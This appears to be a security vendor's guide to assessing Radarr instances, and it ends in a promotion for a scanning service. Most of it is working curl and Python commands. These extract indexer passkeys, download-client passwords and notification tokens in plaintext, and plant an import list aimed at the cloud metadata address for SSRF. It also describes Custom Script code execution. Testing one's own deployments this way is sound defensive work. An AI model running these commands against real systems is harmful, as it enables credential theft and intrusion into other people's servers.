Radarr is the movie automation counterpart to Sonarr in the *arr stack, sharing the same architecture and carrying the same credential aggregation risk: Radarr's API key in Settings > General provides full control over the instance including all stored indexer credentials and download client passwords; Radarr stores API keys and passwords for all configured indexers — including private tracker API keys and passkeys — in its SQLite database, and the /api/v3/indexer endpoint returns these credentials in plaintext to any authenticated caller; Radarr stores full connection credentials for all download clients including qBittorrent, SABnzbd, Deluge, and Transmission; Radarr's Import List feature accepts a remote URL and fetches movie lists server-side — URLs pointing to internal services create an SSRF vector triggered whenever Radarr syncs its lists; and Radarr's Custom Script notification feature can execute arbitrary scripts when movies are downloaded. This guide covers systematic Radarr security assessment with emphasis on the credential chain and import list SSRF that distinguish it from Sonarr.
# Radarr API — single key controls full instance
RADARR_URL="https://radarr.example.com"
API_KEY="your-radarr-api-key"
# Get host configuration (reveals API key and auth method)
curl -s "${RADARR_URL}/api/v3/config/host?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Auth method: {d.get(\"authenticationMethod\")}')
print(f'Port: {d.get(\"port\")}')
print(f'URL base: {d.get(\"urlBase\")}')
print(f'Bind address: {d.get(\"bindAddress\")}')
" 2>/dev/null
# List all movies in the library with file paths
curl -s "${RADARR_URL}/api/v3/movie?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
movies = json.load(sys.stdin)
print(f'Movies: {len(movies)}')
for m in movies[:10]:
print(f' {m.get(\"title\")} ({m.get(\"year\")}) path={m.get(\"path\")} hasFile={m.get(\"hasFile\")}')
" 2>/dev/null
# Get system status (version info, OS, runtime)
curl -s "${RADARR_URL}/api/v3/system/status?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'OS: {d.get(\"osName\")} {d.get(\"osVersion\")}')
print(f'Runtime: {d.get(\"runtimeName\")} {d.get(\"runtimeVersion\")}')
print(f'App data: {d.get(\"appData\")}')
" 2>/dev/null
# Radarr Import List — server-side URL fetch creating SSRF opportunity
# Import Lists are URLs Radarr fetches to discover movies to add to its library
RADARR_URL="https://radarr.example.com"
API_KEY="your-radarr-api-key"
# List configured import lists (check for server-side URL fetching)
curl -s "${RADARR_URL}/api/v3/importlist?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
lists = json.load(sys.stdin)
print(f'Import lists: {len(lists)}')
for l in lists:
print(f' [{l.get(\"id\")}] {l.get(\"name\")} type={l.get(\"implementationName\")}')
for field in l.get('fields',[]):
if 'url' in field.get('name','').lower():
print(f' URL: {field.get(\"value\")}')
" 2>/dev/null
# Test SSRF by adding an import list with an internal URL target
# When Radarr syncs the list, it makes a server-side HTTP GET to the URL
# Cloud metadata endpoint target
curl -s -X POST "${RADARR_URL}/api/v3/importlist?apikey=${API_KEY}" \
-H "Content-Type: application/json" \
-d '{
"name": "test-list",
"implementationName": "PlexWatchlist",
"implementation": "PlexWatchlist",
"configContract": "PlexWatchlistSettings",
"fields": [
{"name": "baseUrl", "value": "http://169.254.169.254/latest/meta-data/"},
{"name": "token", "value": "test"}
],
"enabled": true,
"enableAuto": false,
"qualityProfileId": 1,
"rootFolderPath": "/movies"
}' 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('id','error'))" 2>/dev/null
# Radarr indexers and download clients — full credential chain
RADARR_URL="https://radarr.example.com"
API_KEY="your-radarr-api-key"
# Extract all indexer credentials
curl -s "${RADARR_URL}/api/v3/indexer?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
indexers = json.load(sys.stdin)
print(f'Indexers: {len(indexers)}')
for idx in indexers:
print(f' {idx.get(\"name\")} [{idx.get(\"implementationName\")}]')
for field in idx.get('fields',[]):
fname = field.get('name','')
fval = field.get('value','')
if fval and any(k.lower() in fname.lower() for k in ['apikey','passkey','password','username','token']):
print(f' CREDENTIAL {fname}: {fval}')
elif fname == 'baseUrl' and fval:
print(f' baseUrl: {fval}')
" 2>/dev/null
# Extract all download client credentials
curl -s "${RADARR_URL}/api/v3/downloadclient?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
clients = json.load(sys.stdin)
print(f'Download clients: {len(clients)}')
for c in clients:
print(f' {c.get(\"name\")} [{c.get(\"implementationName\")}]')
for field in c.get('fields',[]):
fname = field.get('name','')
fval = field.get('value','')
if fval and fname in ['host','port','username','password','apiKey','urlBase']:
print(f' {fname}: {fval}')
" 2>/dev/null
# Get all notification connections (Discord, Slack, Telegram, email)
curl -s "${RADARR_URL}/api/v3/notification?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
notifs = json.load(sys.stdin)
for n in notifs:
print(f' {n.get(\"name\")} [{n.get(\"implementationName\")}]')
for field in n.get('fields',[]):
if any(k in field.get('name','').lower() for k in ['url','token','webhook','bot','chat']):
print(f' {field.get(\"name\")}: {field.get(\"value\")}')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| API key access to all stored credentials | GET /api/v3/indexer and /api/v3/downloadclient with API key — returns all configured indexer API keys/passkeys and download client username/password pairs in plaintext | Critical |
| Import List SSRF on scheduled sync | POST /api/v3/importlist with internal URL as baseUrl — Radarr server makes GET request to configured URL on each list sync; can target cloud metadata endpoints and internal services | High |
| No authentication by default on local network | GET /api/v3/movie without credentials — library contents, file paths, and all metadata accessible when authentication is disabled; file paths reveal storage layout | High |
| Custom Script notification code execution | Configure notification with Custom Script pointing to attacker-controlled script path — script executes on the Radarr host when a movie download event fires, with Radarr service account privileges | Critical (if writable) |
| Notification agent webhook and token extraction | GET /api/v3/notification — returns all notification agent fields including Discord webhook URLs, Telegram bot tokens, Slack tokens, and email SMTP credentials used for download notifications | Medium |
Ironimo tests Radarr deployments for API key exposure giving full instance control, indexer credential extraction revealing private tracker API keys and passkeys, download client credential extraction exposing qBittorrent and SABnzbd username/password pairs, Import List SSRF via server-side URL fetching on sync, Custom Script notification code execution risk, and notification agent credential extraction.
Start free scan